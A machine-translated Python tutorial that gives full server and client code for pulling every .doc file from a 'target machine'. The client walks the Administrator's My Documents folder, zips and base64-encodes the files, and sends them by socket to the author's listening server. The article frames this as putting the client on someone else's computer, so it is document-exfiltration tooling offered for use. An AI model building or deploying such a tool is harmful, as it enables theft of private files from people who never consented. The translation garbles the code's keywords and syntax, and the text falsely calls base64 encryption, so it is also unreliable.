This article describes a Python implementation method to get the specified file on the client and transfer it to the server. Share to everyone for your reference. The specific analysis is as follows:
The program realizes that all of a certain type of file (controllable) of the target machine can be retrieved and uploaded to its own machine.
1, with the Base64 encode (infile,outfile) encryption, as well as decode (Infile,outfile) decryption, which is 2 binary encryption decryption
2. Compress with zip
3, the socket server.py put to their own this side of the Python server.py, and then client.py to the target machine, and then Python client.py can
4, this program set up to get Doc file, modify Extname can get other types of files
Server-side programs:
Copy the Code code as follows:
#-*-coding:cp936-*-
Import socket
Import Win32com.client
Import OS
Import ZipFile
Import Codecs
Import Base64
def main ():
HOST = ' 127.0.0.1 '
PORT = 2000
Buf_size = 6553500 #6M
Key = ' Ouyang '
Timeout = 5
Dicname = "ouyang\\"
SS = Socket.socket (Socket.af_inet,socket. SOCK_STREAM)
Try
Ss.bind ((Host,port))
Ss.listen (5)
Print "Wating for conntecting ..."
While True:
Try
CS,ADDR = Ss.accept ()
Socket.setdefaulttimeout (Timeout)
Cs.send ("connected!")
#获取加密数据
Encode_data = Cs.recv (buf_size)
#把数据写到out. zip file
tmpfile = open (' out.tmp ', ' WB ')
Try
Tmpfile.write (Encode_data)
Tmpfile.close ()
Except Ioerror,e:
print ' Strange error creating ioerror:%s '% E
Tmpfile.close ()
Finally
Tmpfile.close ()
#base64 decode 2 binary decryption decode (infile,outfile)
tmpfile = open (' out.tmp ', ' RB ')
outfile = open (' Out.zip ', ' WB ')
Base64.decode (Tmpfile,outfile)
Tmpfile.close ()
Outfile.close ()
#打开zip文件
Zfile = ZipFile. ZipFile (' Out.zip ', ' R ')
#创建一个文件夹来存放获取的zip文件
If not os.path.exists (dicname):
Os.mkdir (Dicname)
For f in Zfile.namelist ():
data = Zfile.read (f)
File = open (Dicname+os.path.basename (f), ' w+b ')
File.write (data)
File.close ()
print "Finished!!!"
Zfile.close ()
#后续处理 Delete temporary files
Os.remove (' out.tmp ')
Cs.close ()
Except Socket.error, E:
print ' Strange error creating socket:%s '% E
Cs.close ()
Ss.close ()
Except Socket.error, E:
print ' Strange error creating socket:%s '% E
Ss.close ()
If __name__== ' __main__ ':
Main ()
Client program:
Copy the Code code as follows:
#-*-coding:cp936-*-
Import socket
Import Win32com.client
Import Win32API
Import OS
Import time
Import ZipFile
Import Codecs
Import Base64
def walk_dir (dir,filelist,extname,topdown=true):
For root, dirs, files in Os.walk (dir, topdown):
For name in Files:
if (Os.path.splitext (Os.path.join (Root,name))) [-1] = = Extname:
Filelist.append (Os.path.join (root,name))
For name in dirs:
if (Os.path.splitext (Os.path.join (Root,name))) [-1] = = Extname:
Filelist.append (Os.path.join (root,name))
def main ():
HOST = ' 127.0.0.1 '
PORT = 2000
Buf_size = 65535
Key = ' Ouyang '
Dicname = "C:\Documents and settings\administrator\ My Documents"
Extname = '. Doc '
#遍历搜索我的文档的doc类型
Try
FileList = []
Walk_dir (Dicname,filelist,extname)
Except Ioerror,e:
Print "File handling error:"% E
Sys.exit (-1)
CS = Socket.socket (socket.af_inet, socket. SOCK_STREAM)
Try
Cs.connect ((Host,port))
Print Cs.recv (buf_size)
#压缩成zip文件
Zfile = ZipFile. ZipFile (' In.zip ', ' W ', ZipFile. zip_deflated)
For F in FileList:
Zfile.write (f)
Zfile.close ()
#base 2 binary encryption Encode (infile,outfile)
infile = open (' In.zip ', ' RB ')
tmpfile = open (' in.tmp ', ' WB ')
Base64.encode (Infile,tmpfile)
Infile.close ()
Tmpfile.close ()
#send
tmpfile = open (' in.tmp ', ' RB ')
Cs.send (Tmpfile.read ())
Tmpfile.close ()
#后续处理 Delete intermediate files
Os.remove (' in.tmp ')
Cs.close ()
Except Socket.error, E:
print ' socket error: '% E
Cs.close ()
If __name__== ' __main__ ':
Main ()
Hopefully this article will help you with Python programming.